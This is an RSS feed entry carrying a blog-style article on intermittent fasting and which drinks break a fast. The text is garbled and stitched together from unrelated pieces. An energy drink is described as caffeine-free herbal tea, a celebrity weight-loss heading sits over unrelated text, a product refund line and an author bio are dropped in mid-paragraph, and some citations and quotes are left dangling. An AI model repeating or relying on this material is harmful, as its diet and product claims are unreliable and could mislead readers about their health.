<p>Intermittent fasting is an eating pattern that alternates between periods of eating and periods of fasting. During fasting windows, you either consume no calories or extremely minimal calories, allowing your body to shift from using glucose as its primary fuel source to burning stored fat. In a review of multiple studies about intermittent fasting, it has been found to reduce insulin resistance and fasting insulin levels especially when weight loss happens. Insulin resistance can lead to a variety of conditions including type 2 diabetes, polycystic ovary syndrome (PCOS), and fatty liver. While intermittent fasting isn’t a prevention or cure for any condition, talk to your primary care provider about whether it may be beneficial for you.</p>
<h2>Will I feel hungry all the time?</h2>
<p>Plus, if you&#8217;re sipping on something like ZOA Energy Drink, you get the added bonus of a little energy boost without breaking your fast. They come in a variety of flavors like chamomile, peppermint, and hibiscus, and are naturally caffeine-free. This makes them perfect for enjoying at any time of the day without worrying about caffeine affecting your sleep.</p>
<h3>Dave Bautista’s 75-Pound Weight Loss</h3>
<p>That said, high-calorie or high-sugar options like smoothies, soda, or broth will likely do more harm than good and should be avoided during your fasting window. This type of fasting has been shown to aid in weight loss5, enhance cognitive function6, and support an individual&#8217;s cardiometabolic health7. One cup of Coca-Cola, for example, contains 26 grams—that&#8217;s 1 gram over the daily recommended sugar limit for women4. Soda is also high in calories, so you&#8217;ll want to avoid sipping on this bubbly beverage during a fasting window. &#8220;They will add to your calories but can keep you feeling full,&#8221; Varady says, not completely writing off the beverage option.</p>
<h3>Black Coffee</h3>
<p>Return any unused cartons within 30 days for a full refund—no questions asked. Josie is passionate about providing evidence-based solutions, confronting bad science, and supporting others in being happy in their skin and improving their health. With such hefty restrictions, you can bet this schedule is on our “no go without medical approval” list. With all milks, whether dairy or plant-based, it’s an issue of quantity. Actually, if you like flavored water, adding a fruit wedge or a splash of fruit juice — as long as it is just a splash, which is around one tablespoon — is A-OK. Lemon is a rich source of vitamin C and may decrease your hunger during your fast.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://psp-wp-test.objectsdev.com/16-8-intermittent-fasting-how-to-do-it-benefits/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>